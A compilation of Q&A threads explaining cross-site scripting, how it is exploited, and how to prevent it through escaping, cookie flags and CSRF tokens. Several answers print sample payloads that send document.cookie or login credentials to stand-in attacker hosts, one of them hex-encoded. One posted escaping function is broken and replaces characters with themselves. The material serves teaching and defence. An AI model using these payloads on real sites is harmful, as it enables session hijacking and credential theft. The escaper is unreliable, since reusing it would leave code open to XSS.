Type 0 (DOM-Based) XSS Prevention for JSP Applications - xss

Unlike the standard XSS attacks, which rely on dynamic web pages, a DOM-based XSS attack does not require sending any malicious code to the server and thus can also use static HTML pages. My humble question is whether a developer can securely code a page in such a way that such attacks can be prevented. What is/are the techniques to use? My belief is that the request must still pass from the client to the server irrespective of whether the page is static or dynamic and thus this makes me think and wonder whether server-side checks are still possible to detect such an attack?

In order for malicious code to get on your page, you have to be putting unescaped, attacker-provided text onto the page. It does not matter if you are doing it server-side with PHP, or client-side with Javascript -- You must escape any input you receive before you turn it into output.
Use the same discipline with your javascript that you do with your server side code.

Related

Can code (third-party) iframe set first-party cookies?

Is it possible for any code loading in an iframe set first party cookies?
E.g. I have a site: www.my-website.com and I need to load some content from third party provider www.third-party-site.com for legitimate purposes. But (for obvious security reasons) I do not want to allow them to be able to set (or read) any first party cookies (i.e. cookies with the domain www.my-website.com - they are welcome to set any cookies of their own domain www.third-party-site.com).
Is the above possible under certain conditions or not possible at all:
iframe is not sandboxed?
if the iframe code loads say an image that has header cookies
any other conditions?
some browsers allow vs. others do not?
My understanding is that this is not possible at all and most answers on SO etc. seem to support this - but some are pointing to examples where Facebook has a workaround to this in certain conditions etc. Hence thought to clarify.
By design, no. That's not to say that workarounds have not been found, or that bugs have permitted it in the past, but they are very much bugs and not things you should expect or try to use - leaking a first party cookie to a third party would qualify as a major security problem.
To reduce exposure, you should ensure that appropriate cookie flags are set: Secure, to prevent cookies from being sent over insecure links; httponly, to prevent javascript accessing them, and if available, samesite, to avoid CSRF attacks. You should also set HTTP headers to control framing of your own site, to avoid clickjacking, and other headers like CSP to keep tighter control over sources.
There is one very simple way of avoiding all the negative consequences of third-party cookies: don't have any. It's possible to do a great many things without them, it means you may not need to display cookie notifications or seek consent.
Since you're asking an abstract question about this, you might get a better answer on Security Stack Exchange.

What are the different ways in which a XSS vulnerability can be exploited?

I understand that XSS vulnerability can be used to execute a piece of javascript code in the browser of the victim.
One of the obvious ways it can be exploited is if it can be used to compromise cookies of the victim. Maybe even load an iframe which serves malware.
Are there any other ways in which XSS can be exploited?
I will answer by citing the XSS Attack Consequences section of the OWASP Cross-site Scripting (XSS) article.
[...] Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see Content Spoofing.
To answer more specifically to your question, if an attacker can inject javascript into a page. He can also change the DOM, and trick the user into installing malware or propagate fake news.

REST Web Services and where to put XSS protection

I am wondering where the best place to put XSS protection in our website. Our team is split up into a front end and back end teams and are using REST as an API between our two groups since we use different platforms. We have a field that could hold a subset of HTML that should be protected and I was wondering at what layer this should be done?
Should it not be allowed into the database by the webservice or should it be validated by the consumer on the way out, ensuring safety? For fields that cannot contain HTML, we are just saving as the raw input, and having the front end escape them before presentation.
My viewpoint is that the webservice should respond that the data is invalid (we have been using 422 to indicate invalid updates) if someone tries to use disallowed tags. I am just wondering what other people think.
It's probably not an either/or. The web service is potentially callable from many UIs, and Uis change over time, it should not assume that all its callers are careful/trusted. Indeed could someone invoke your service directly by hand-crafting a query?
However for the sake of usability we often choose to do friendly validation and error reporting in the UI. I've just finished filling in an online form at a web site that barfs in the service layer if any field contains a non alpha-numeric. It would have been so much nicer if the UI had validated a the point of entry rather than rejecting my request after 3 pages of input.
(Not to mention that if the web site asks you for an employer's name, and the name actually contains an apostrophe you seem a bit stymied!)
You should be using both. The typical pattern is to attempt to sanitize scary data on the way in (and you should really be rejecting the request if sanitization was necessary for a given value) and encoding on the way out.
The reason for the former is that encoding sometimes gets missed. The reason for the latter is that your database cannot be trusted as a source of data (people can access it without hitting your client, or your client might have missed something).

What is the general concept behind XSS?

Cross-site scripting (XSS) is a type
of computer security vulnerability
typically found in web applications
which enable malicious attackers to
inject client-side script into web
pages viewed by other users. An
exploited cross-site scripting
vulnerability can be used by attackers
to bypass access controls such as the
same origin policy. Cross-site
scripting carried out on websites were
roughly 80% of all security
vulnerabilities documented by Symantec
as of 2007.
Okay so does this mean that a hacker crafts some malicious JS/VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs?
I mean, I know how SQL injection is done....
I particularly don't understand how JS/VBscript can cause so much damage! I thoguht they are only run within browsers, but apparently the damage ranges from keylogging to cookie stealing and trojans.
Is my understanding of XSS correct? if not, can someone clarify?
How can I prevent XSS from happening on my websites? This seems important; 80% of security vulnerabilities means that it's an extremely common method to compromise computers.
As the answers on how XSS can be malicious are already given, I'll only answer the following question left unanswered:
how can i prevent XSS from happening on my websites ?
As to preventing from XSS, you need to HTML-escape any user-controlled input when they're about to be redisplayed on the page. This includes request headers, request parameters and any stored user-controlled input which is to be served from a database. Especially the <, >, " and ' needs to be escaped, because it can malform the surrounding HTML code where this input is been redisplayed.
Almost any view technolgy provides builtin ways to escape HTML (or XML, that's also sufficient) entities.
In PHP you can do that with htmlspecialchars(). E.g.
<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
If you need to escape singlequotes with this as well, you'll need to supply the ENT_QUOTES argument, also see the aforelinked PHP documentation.
In JSP you can do that with JSTL <c:out> or fn:escapeXml(). E.g.
<input name="foo" value="<c:out value="${param.foo}" />">
or
<input name="foo" value="${fn:escapeXml(param.foo)}">
Note that you actually don't need to escape XSS during request processing, but only during response processing. Escaping during request processing is not needed and it may malform the user input sooner or later (and as being a site admin you'd also like to know what the user in question has actually entered so that you can take social actions if necessary). With regard to SQL injections, just only escape it during request processing at the moment when the data is about to be persisted in the database.
Straight forward XSS
I find Google has an XSS vulnerability.
I write a script that rewrites a public Google page to look exactly like the actual Google login.
My fake page submits to a third party server, and then redirects back to the real page.
I get google account passwords, users don't realize what happened, Google doesn't know what happened.
XSS as a platform for CSRF (this supposedly actually happened)
Amazon has a CSRF vulnerability where a "always keep me logged in" cookie allows you to flag an entry as offensive.
I find an XSS vulnerability on a high traffic site.
I write a JavaScript that hits up the URLs to mark all books written by gay/lesbian authors on Amazon as offensive.
To Amazon, they are getting valid requests from real browsers with real auth cookies. All the books disappear off the site overnight.
The internet freaks the hell out.
XSS as a platform for Session Fixation attacks
I find an e-commerce site that does not reset their session after a login (like any ASP.NET site), have the ability to pass session id in via query string or via cookie, and stores auth info in the session (pretty common).
I find an XSS vulnerability on a page on that site.
I write a script that sets the session ID to the one I control.
Someone hits that page, and is bumped into my session.
They log in.
I now have the ability to do anything I want as them, including buying products with saved cards.
Those three are the big ones. The problem with XSS, CSRF, and Session Fixation attacks are that they are very, very hard to track down and fix, and are really simple to allow, especially if a developer doesn't know much about them.
i dont get how JS/VBscript can cause so much damage!
Ok. suppose you have a site, and the site is served from http://trusted.server.com/thesite. Let's say this site has a search box, and when you search the url becomes: http://trusted.server.com/thesite?query=somesearchstring.
If the site decides to not process the search string and outputs it in the result, like "You search "somesearchstring" didn't yield any results, then anybody can inject arbitrary html into the site. For example:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
So, in this case, the site will dutifully show a fake login form on the search results page, and if the user submits it, it will send the data to the evil untrusted server. But the user doesn't see that, esp. if the url is really long they will just see the first but, and assume they are dealing with trusted.server.com.
Variations to this include injecting a <script> tag that adds event handlers to the document to track the user's actions, or send the document cookie to the evil server. This way you can hope to bump into sensitive data like login, password, or credit card data. Or you can try to insert a specially styled <iframe> that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com. As long as the user is tricked into using the injected content instead of the original, the security's comprompised.
This type of XSS is called reflective and non-persistent. Reflective because the url is "relected" directly in the response, and non-persistent because the actual site is not changed - it just serves as a pass through. Note that something like https offers no protection whatsoever here - the site itself is broken, because it parrots the user input via the query string.
The trick is now to get unsuspecting users to trust any links you give them. For example, you can send them a HTML email and include an attractive looking link which points to the forged url. Or you can perhaps spread it on wikis, forums etc. I am sure you can appreciate how easy it really is - it's just a link, what could go wrong, right?
Sometimes it can be worse. Some sites actually store user-supplied content. Simple example: comments on a blog or threads on a forum. Or it may be more subtle: a user profile page on a social network. If those pages allow arbitrary html, esp. script, and this user-supplied html is stored and reproduced, then everybody that simply visits the page that contains this content is at risk. This is persistent XSS. Now users don't even need to click a link anymore, just visiting is enough. Again the actual attack consists of modifying the page through script in order to capture user data.
Script injection can be blunt, for example, one can insert a complete <script src="http://evil.server.net/script.js"> or it may be subtle: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.
As for how to protect yourself: the key is to never output user input. This may be difficult if your site revolves around user-supplied content with markup.
Imagine a web forum. An XSS attack could be that I make a post with some javascript. When you browse to the page, your webpage will load and run the js and do what I say. As you have browsed to the page and most likely are logged in, my javascript will do anything you have privileges to do, such as make a post, delete your posts, insert spam, show a popup etc.
So the real concept with XSS is the script executes in your user context, which is a privilege escalation. You need to be careful that anywhere in your app that receives user input escapes any scripts etc. inside it to ensure that an XSS can't be done.
You have to watch out for secondary attacks. Imagine if I put malicious script into my username. That might go into the website unchecked, and then written back out unchecked but then any page that is viewed with my username on it would actually execute malicious script in your user context.
Escape user input. Don't roll your on code to do this. Check everything going in, and everything coming out.
The XSS attacks' issues are more fishing related. The problem is that a site that a customer trusts might be injected with code that leads to site made by the attacker for certain purpose. Stealing sensitive information, for example.
So, in XSS attacks the intruded do not get into your database and don't mess with it. He is playing with the sense in the customer that this site is safe and every link on it is pointing to a safe location.
This is just the first step of the real attack - to bring the customer in the hostile environment.
I can give you a brief example. If a bank institution puts a shoutbox on their page, for example and they do not prevent me from XSS attack, I can shout "Hey come on this link and enter you passwords and credit card No for a security check!" ... And you know where this link will lead to, right ?
You can prevent the XSS attacks by make sure you don't display anything on your page, that is coming from users' input without escaping html tags. The special characters should be escaped, so that they don't interfere with the markup of your html pages (or whatever technology you use). There are lot of libraries that provide this, including Microsoft AntiXSS library.

How does XSS work?

Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.
Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
It's also common to encode the malicious code, for example in hex:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
An XSS vulnerability exists whenever a string from outside your application can be interpreted as code.
For example, if you're generating HTML by doing this:
<BODY>
<?= $myQueryParameter ?>
</BODY>
then if the $myQueryParameter variable contains a <SCRIPT> tag then it will end up executing code.
To prevent an input from being executed as code, you need to escape content properly.
The above problem can be solved by realizing that the $myQueryParameter variable contains plain text, but you can't just go and put plain text into HTML and expect it to work.
So you need to convert plain text to HTML so you can put it into your HTML page. That process of converting a string in one language to another so that it can be embedded is escaping.
You can escape plain text to HTML with a function like:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
In Simple English
XSS is when you insert scripts (meaning JavaScript code) into webpages, so that the browser executes the code. This is malicious, because it can be used to steal cookies, and any other data on the page. For example:
The HTML of a search box: <input value="*search value here*">
Now if you insert " onmouseover="alert(1), the final HTML would be <input value="" onmouseover="alert(1)">
When the mouse is passed over the search box, the "alert" will be executed.
In "WikiText"
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.
In simple english XSS is a security vulnerabilty in which attacker can frame a malicious script to compromise the website. Now How it works?
As we know that XSS needs an input field or we can say that the GET variable through which the input is echo back to the user without filteration and sometimes filteration. After request, it is acceptable ("source code") by the browser as a response to show the contents to the user. Remember what ever you had written in the input field it will be on the source code response.So you should check it because sometimes web developer make restriction on the alert box .
If you are an attacker first you need to know the xss vulnerability by using the script tag.
For example:- alert("test")
Here alert() is used to make the popup box with the ok button and what ever you have written in the bracket it will be popup on the screen. And script tags are invisible.
Now attacker can make a malicious script to steal the cookie, steal the credentials etc.
For example:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;
Here your site is the attacker site at which the attacker can redirect the victim's cookie on his own's site with the help of document.cookie.
Thats it.
Here script tag invisible
I've written up an article on what XSS is and how to address it somewhat as a PHP developer. There are also examples of what both types of XSS attacks look like (persistent vs. non-persistent).
There are two types of XSS attacks:
Non-persistent: This would be a specially crafted URL that embeds a
script as one of the parameters to the target page. The nasty URL
can be sent out in an email with the intent of tricking the
recipient into clicking it. The target page mishandles the parameter
and unintentionally sends code to the client's machine that was
passed in originally through the URL string.
Persistent: This attack
uses a page on a site that saves form data to the database without
handling the input data properly. A malicious user can embed a nasty
script as part of a typical data field (like Last Name) that is run
on the client's web browser unknowingly. Normally the nasty script
would be stored to the database and re-run on every client's visit
to the infected page.
See more here:
http://www.thedablog.com/what-is-xss/
XSS -
Vulnerability caused when the web-site places the trust on the user and does not filter the user-input.
The user-input causes unwanted script to be executed on the site.
Prevention:
Filter user input using HTML input sanitizers
(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape in php)
CSRF:
Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it.
Prevention:
Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. https://docs.djangoproject.com/en/dev/ref/contrib/csrf/